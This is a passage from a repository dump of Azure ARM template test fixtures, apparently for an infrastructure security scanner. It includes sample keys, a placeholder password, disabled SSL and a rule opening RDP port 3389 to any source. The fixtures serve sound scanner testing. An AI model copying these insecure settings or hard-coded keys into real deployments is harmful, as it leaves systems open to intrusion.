\"connectionStrings\": [\n            {\n              \"name\": \"connectionStringName1\",\n              \"type\": \"MySql\",\n              \"connectionString\": \"connectionString1\"\n            },\n            {\n              \"name\": \"connectionStringName2\",\n              \"type\": \"SQLAzure\",\n              \"connectionString\": \"connectionString2\"\n            }\n          ]\n        },\n        \"hostNameSslStates\": [\n          {\n            \"name\": \"validSite.azurewebsites.net\",\n            \"sslState\": \"SniEnabled\",\n            \"hostType\": \"Standard\"\n          },\n          {\n            \"name\": \"validSite.scm.azurewebsites.net\",\n            \"sslState\": \"SniEnabled\",\n            \"hostType\": \"Repository\"\n          }\n        ],\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/hostingEnvironments/aseName1\"\n        },\n        \"serverFarmId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/serverfarms/serverFarm1\",\n        \"keyVaultId\": \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.KeyVault/vaults/vaultName1\",\n        \"keyVaultSecretName\": \"secret1\",\n        \"password\": \"0050159BAA314687BC64-BFFDFB066F4E\",\n        \"cerBlob\": \"SDSD@%#^#$SDSDS\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"config\",\n          \"apiVersion\": \"2016-08-01\",\n          \"name\": \"appsettings\",\n          \"properties\": {\n            \"setting1\": \"value1\"\n          }\n        },\n        {\n          \"type\": \"config\",\n          \"apiVersion\": \"2016-08-01\",\n          \"name\": \"connectionstrings\",\n          \"properties\": {\n            \"setting1\": {\n              \"type\": \"SQLServer\",\n              \"value\": \"Connection string value\"\n            }\n          }\n        },\n        {\n          \"apiVersion\": \"2016-08-01\",\n          \"type\": \"slots\",\n          \"name\": \"staging\",\n          \"properties\": {\n            \"phpVersion\": \"v5.6\",\n            \"httpLoggingEnabled\": true\n          },\n          \"resources\": [\n            {\n              \"type\": \"config\",\n              \"apiVersion\": \"2016-08-01\",\n              \"name\": \"appsettings\",\n              \"properties\": {\n                \"setting1\": \"value1\"\n              }\n            },\n            {\n              \"apiVersion\": \"2016-08-01\",\n              \"type\": \"config\",\n              \"name\": \"connectionstrings\",\n              \"properties\": {\n                \"connectionName\": {\n                  \"type\": \"NotificationHub\",\n                  \"value\": \"Connection string value\"\n                }\n              }\n            }\n          ]\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2016-08-01\",\n      \"name\": \"site1\",\n      \"location\": \"West US\",\n      \"properties\": {\n        \"enabled\": true,\n        \"serverFarmId\": \"id\",\n        \"hostNameSslStates\": [\n          {\n            \"name\": \"s1\",\n            \"sslState\": \"Disabled\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/connections\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"connection\",\n      \"location\": \"West US\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Web/sites/config\",\n      \"apiVersion\": \"2016-08-01\",\n      \"name\": \"a1/web\",\n      \"location\": \"Japan West\",\n      \"properties\": {\n        \"numberOfWorkers\": 1,\n        \"netFrameworkVersion\": \"v4.6\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.ApiManagement/service\",\n      \"name\": \"name\",\n      \"apiVersion\": \"2017-03-01\",\n      \"location\": \"East US\",\n      \"sku\": {\n        \"name\": \"Developer\"\n      },\n      \"properties\": {\n        \"publisherEmail\": \"admin@live.com\",\n        \"publisherName\": \"org\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2017-04-01\",\n      \"name\": \"namename\",\n      \"location\": \"west us\",\n      \"properties\": {\n        \"createdAt\": \"2015-01-01\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/customApis\",\n      \"apiVersion\": \"2016-06-01\",\n      \"name\": \"abc\",\n      \"location\": \"West US 2\",\n      \"properties\": {\n        \"displayName\": \"name1\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2017-06-01\",\n      \"name\": \"name1\",\n      \"location\": \"West US 2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"kind\": \"BlobStorage\"\n    },\n    {\n      \"type\": \"Microsoft.Compute/disks\",\n      \"apiVersion\": \"2017-03-30\",\n      \"name\": \"disk1\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Empty\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"myGallery\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"description\": \"Sample gallery description.\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"myGalleryImage\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"osType\": \"Linux\",\n        \"osState\": \"Generalized\",\n        \"identifier\": {\n          \"publisher\": \"samplePublisher\",\n          \"offer\": \"sampleOffer\",\n          \"sku\": \"sampleSku\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images/versions\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"myGalleryImageVersion\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publishingProfile\": {\n          \"source\": {\n            \"managedImage\": {\n              \"id\": \"/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"myGallery\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"description\": \"Sample gallery description.\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"myGalleryImage\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"osType\": \"Linux\",\n        \"osState\": \"Generalized\",\n        \"identifier\": {\n          \"publisher\": \"samplePublisher\",\n          \"offer\": \"sampleOffer\",\n          \"sku\": \"sampleSku\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/galleries/images/versions\",\n      \"apiVersion\": \"2019-03-01\",\n      \"name\": \"myGalleryImageVersion\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"publishingProfile\": {\n          \"source\": {\n            \"managedImage\": {\n              \"id\": \"/subscriptions/64646596-7b0f-4f89-86a8-01473e7a1e39/resourceGroups/rgName/providers/Microsoft.Compute/images/imageName\"\n            }\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"apiVersion\": \"2017-07-01-preview\",\n      \"name\": \"name1\",\n      \"location\": \"west us\",\n      \"properties\": {\n        \"managementEndpoint\": \"[concat('http://',reference(concat(variables('lbIPName'),'-','0')).dnsSettings.fqdn,':',variables('nt0fabricHttpGatewayPort'))]\",\n        \"nodeTypes\": [\n          {\n            \"name\": \"[variables('vmNodeType0Name')]\",\n            \"clientConnectionEndpointPort\": \"[variables('nt0fabricTcpGatewayPort')]\",\n            \"httpGatewayEndpointPort\": \"[variables('nt0fabricHttpGatewayPort')]\",\n            \"isPrimary\": true,\n            \"vmInstanceCount\": \"[parameters('nt0InstanceCount')]\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.StreamAnalytics/streamingjobs\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"west us\",\n      \"name\": \"abc\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.ServiceFabric/clusters\",\n      \"apiVersion\": \"2017-07-01-preview\",\n      \"location\": \"west us\",\n      \"name\": \"na\",\n      \"properties\": {\n        \"nodeTypes\": [],\n        \"managementEndpoint\": \"11\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.StreamAnalytics/streamingjobs\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"west us\",\n      \"name\": \"nam31\",\n      \"properties\": {\n        \"outputStartMode\": \"JobStartTime\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.MachineLearningExperimentation/accounts\",\n      \"name\": \"[parameters('newAccountName')]\",\n      \"apiVersion\": \"2017-05-01-preview\",\n      \"location\": \"East US 2\",\n      \"properties\": {\n        \"keyVaultId\": \"keyVaultId\",\n        \"vsoAccountId\": \"vsoAccountId\",\n        \"storageAccount\": {\n          \"storageAccountId\": \"userstoragearmId\",\n          \"accessKey\": \"accessKey\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2016-11-01\",\n      \"type\": \"Microsoft.ImportExport/jobs\",\n      \"name\": \"[variables('importExportJobName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"storageAccountId\": \"[parameters('storageAccountId')]\",\n        \"jobType\": \"abc\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.TimeSeriesInsights/environments\",\n      \"apiVersion\": \"2017-11-15\",\n      \"location\": \"West Us\",\n      \"name\": \"EnvironmentTest\",\n      \"sku\": {\n        \"name\": \"S1\",\n        \"capacity\": 5\n      },\n      \"properties\": {\n        \"dataRetentionTime\": \"P31D\"\n      }\n    },\n    {\n      \"name\": \"test1\",\n      \"type\": \"Microsoft.Devices/provisioningServices\",\n      \"apiVersion\": \"2017-08-21-preview\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S1\",\n        \"tier\": \"standard\",\n        \"capacity\": 1\n      },\n      \"properties\": {\n        \"authorizationPolicies\": [\n          {\n            \"keyName\": \"testkey\",\n            \"primaryKey\": \"CQN2K33r45/0WeIjpqmErV5EIvX8JZrozt3NEHCEkG8=\",\n            \"secondaryKey\": \"RpkT42rNZl4/J08pI8tnsE2mPbsbuQ//+9x3HSs0XcU=\",\n            \"rights\": \"ServiceConfig\"\n          }\n        ],\n        \"iotHubs\": [\n          {\n            \"name\": \"test.azure-devices.net\",\n            \"connectionString\": \"#####################################\",\n            \"location\": \"westus\"\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Relay/namespaces\",\n      \"apiVersion\": \"2017-04-01\",\n      \"location\": \"West Us\",\n      \"name\": \"NamespaceTest\",\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.ServiceBus/namespaces\",\n      \"apiVersion\": \"2017-04-01\",\n      \"location\": \"West Us\",\n      \"name\": \"aa1234\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Basic\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"loadBalancerFrontEnd1\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID1')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"loadBalancerFrontEnd1\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID1')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Cache/Redis\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"Standard\",\n          \"family\": \"C\",\n          \"capacity\": 123\n        },\n        \"additionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"loadBalancerFrontEnd1\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[variables('publicIPAddressID1')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"apiVersion\": \"2017-10-01\",\n      \"name\": \"[variables('loadBalancerName')]\",\n      \"type\": \"Microsoft.Network/routeTables\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2017-10-01\",\n      \"location\": \"West Us\",\n      \"name\": \"sto725\",\n      \"kind\": \"StorageV2\",\n      \"sku\": {\n        \"name\": \"Standard_GRS\"\n      },\n      \"properties\": {\n        \"supportsHttpsTrafficOnly\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnsZones\",\n      \"name\": \"[parameters('newZoneName')]\",\n      \"apiVersion\": \"2017-09-01\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"addtionalProperties\": {}\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/dnsZones/TXT\",\n      \"name\": \"[concat(parameters('newZoneName'), concat('/', parameters('newRecordName')))]\",\n      \"apiVersion\": \"2017-09-01\",\n      \"location\": \"global\",\n      \"properties\": {\n        \"TTL\": 3600,\n        \"TXTRecords\": [\n          {\n            \"value\": [\n              \"test\",\n              \"abc\"\n            ]\n          },\n          {\n            \"value\": [\n              \"123\"\n            ]\n          }\n        ]\n      },\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/dnsZones/', parameters('newZoneName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"[parameters('keyvaultSettings').keyVaultName]\",\n      \"apiVersion\": \"2016-10-01\",\n      \"location\": \"[parameters('keyvaultSettings').location]\",\n      \"properties\": {\n        \"enabledForDeployment\": true,\n        \"enabledForTemplateDeployment\": true,\n        \"enabledForVolumeEncryption\": false,\n        \"tenantId\": \"[parameters('keyvaultSettings').tenantId]\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[parameters('keyvaultSettings').tenantId]\",\n            \"objectId\": \"[parameters('keyvaultSettings').objectId]\",\n            \"permissions\": {\n              \"keys\": [\n                \"get\"\n              ],\n              \"secrets\": [\n                \"get\"\n              ]\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('keyvaultSettings').vaultSku]\",\n          \"family\": \"A\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[parameters('keyvaultSecrets').keyVaultName]\",\n      \"apiVersion\": \"2016-10-01\",\n      \"location\": \"[parameters('keyvaultSecrets').location]\",\n      \"properties\": {\n        \"enabledForDeployment\": true,\n        \"enabledForTemplateDeployment\": true,\n        \"enabledForVolumeEncryption\": false,\n        \"tenantId\": \"[parameters('keyvaultSecrets').tenantId]\",\n        \"accessPolicies\": [\n          {\n            \"tenantId\": \"[parameters('keyvaultSecrets').tenantId]\",\n            \"objectId\": \"[parameters('keyvaultSecrets').objectId]\",\n            \"permissions\": {\n              \"keys\": [\n                \"get\"\n              ],\n              \"secrets\": [\n                \"get\"\n              ]\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('keyvaultSecrets').vaultSku]\",\n          \"family\": \"A\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"accessPolicies\",\n      \"apiVersion\": \"2016-10-01\",\n      \"location\": \"[parameters('keyvaultSettings').location]\",\n      \"properties\": {\n        \"accessPolicies\": [\n          {\n            \"permissions\": {\n              \"keys\": \"[parameters('b')]\",\n              \"secrets\": \"[parameters('c')]\"\n            },\n            \"objectId\": \"[parameters('d')]\",\n            \"tenantId\": \"[parameters('e')]\"\n          }\n        ],\n        \"sku\": {\n          \"family\": \"[parameters('f')]\",\n          \"name\": \"[parameters('g')]\"\n        },\n        \"tenantId\": \"[parameters('h')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2016-10-01\",\n      \"name\": \"name\",\n      \"location\": \"west us\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Logic/workflows\",\n      \"apiVersion\": \"2017-07-01\",\n      \"name\": \"name\",\n      \"location\": \"west us\",\n      \"properties\": {}\n    },\n    {\n      \"name\": \"mycontainergroup\",\n      \"type\": \"Microsoft.ContainerInstance/containerGroups\",\n      \"apiVersion\": \"2018-04-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"containers\": [\n          {\n            \"name\": \"nginx\",\n            \"properties\": {\n              \"command\": [],\n              \"image\": \"nginx\",\n              \"ports\": [\n                {\n                  \"port\": 80\n                }\n              ],\n              \"resources\": {\n                \"requests\": {\n                  \"cpu\": 2,\n                  \"memoryInGB\": 8\n                }\n              },\n              \"volumeMounts\": [\n                {\n                  \"name\": \"secret\",\n                  \"mountPath\": \"/mnt/secrets\",\n                  \"readOnly\": false\n                }\n              ]\n            }\n          }\n        ],\n        \"osType\": \"Linux\",\n        \"ipAddress\": {\n          \"type\": \"Public\",\n          \"dnsNameLabel\": \"demonginx\",\n          \"ports\": [\n            {\n              \"protocol\": \"TCP\",\n              \"port\": 80\n            }\n          ]\n        },\n        \"volumes\": [\n          {\n            \"name\": \"secret\",\n            \"secret\": {\n              \"sslcertificateData\": \"certificate-data\",\n              \"sslcertificatePwd\": \"[base64('certificate-key')]\"\n            }\n          }\n        ]\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet1Name'))]\",\n      \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('vnetName'), parameters('subnet2Name'))]\"\n    ],\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('vnetName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"subnet1\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet1Prefix')]\",\n              \"serviceEndpoints\": [\n                {\n                  \"service\": \"Microsoft.Storage\"\n                }\n              ],\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          },\n          {\n            \"name\": \"subnet2\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('subnet2Prefix')]\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-09-01\",\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[concat(variables('publicIPAddressName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"copy\": {\n        \"name\": \"pipLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2016-10-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[concat('nic', copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[parameters('vnetName')]\",\n        \"pipLoop\"\n      ],\n      \"copy\": {\n        \"name\": \"nicLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[variables('subnetId')[copyIndex()]]\"\n              },\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', concat(variables('publicIPAddressName'), copyIndex()))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('storageAccountName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', parameters('vnetName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('storageAccountType')]\"\n      },\n      \"kind\": \"Storage\",\n      \"properties\": {\n        \"networkAcls\": {\n          \"bypass\": \"None\",\n          \"virtualNetworkRules\": [\n            {\n              \"id\": \"[variables('subnetId')[0]]\",\n              \"action\": \"Allow\"\n            }\n          ],\n          \"defaultAction\": \"Deny\"\n        }\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"name\": \"as1\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Aligned\"\n      },\n      \"properties\": {\n        \"platformFaultDomainCount\": 2,\n        \"platformUpdateDomainCount\": 2\n      }\n    },\n    {\n      \"apiVersion\": \"2017-03-30\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[concat(variables('vmName'), copyIndex())]\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('storageAccountName'))]\",\n        \"nicLoop\",\n        \"Microsoft.Compute/availabilitySets/as1\"\n      ],\n      \"copy\": {\n        \"name\": \"vmLoop\",\n        \"count\": 2\n      },\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', 'as1')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computername\": \"[concat(variables('vmName'), copyIndex())]\",\n          \"adminUsername\": \"[parameters('adminUserName')]\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"MicrosoftWindowsServer\",\n            \"offer\": \"WindowsServer\",\n            \"sku\": \"2016-Datacenter\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', concat('nic',copyIndex()))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_StorageAccountDefaultNetworkAccessDeny/storageAccountDefaultNetworkAccessDeny-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"VM admin user name\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"VM admin password\"\n      }\n    },\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"VNet1\",\n      \"metadata\": {\n        \"description\": \"Name of the virtual network\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix for the virtual network\"\n      }\n    },\n    \"subnet1Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet1\",\n      \"metadata\": {\n        \"description\": \"Name of the first subnet in the VNet\"\n      }\n    },\n    \"subnet1Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.1.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet1\"\n      }\n    },\n    \"subnet2Name\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"subnet2\",\n      \"metadata\": {\n        \"description\": \"Name of the second subnet in the VNet\"\n      }\n    },\n    \"subnet2Prefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.2.0/24\",\n      \"metadata\": {\n        \"description\": \"Address prefix for subnet2\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VM\"\n      }\n    },\n    \"storageAccountType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_LRS\",\n      \"metadata\": {\n        \"description\": \"Geo-replication type of Storage account\"\n      },\n      \"allowedValues\": [\n        \"Standard_LRS\",\n        \"Standard_GRS\",\n        \"Standard_ZRS\",\n        \"Premium_LRS\"\n      ]\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[uniqueString(resourceGroup().id)]\",\n    \"publicIpAddressName\": \"pip\",\n    \"vmName\": \"testvm\",\n    \"subnetId\": [\n      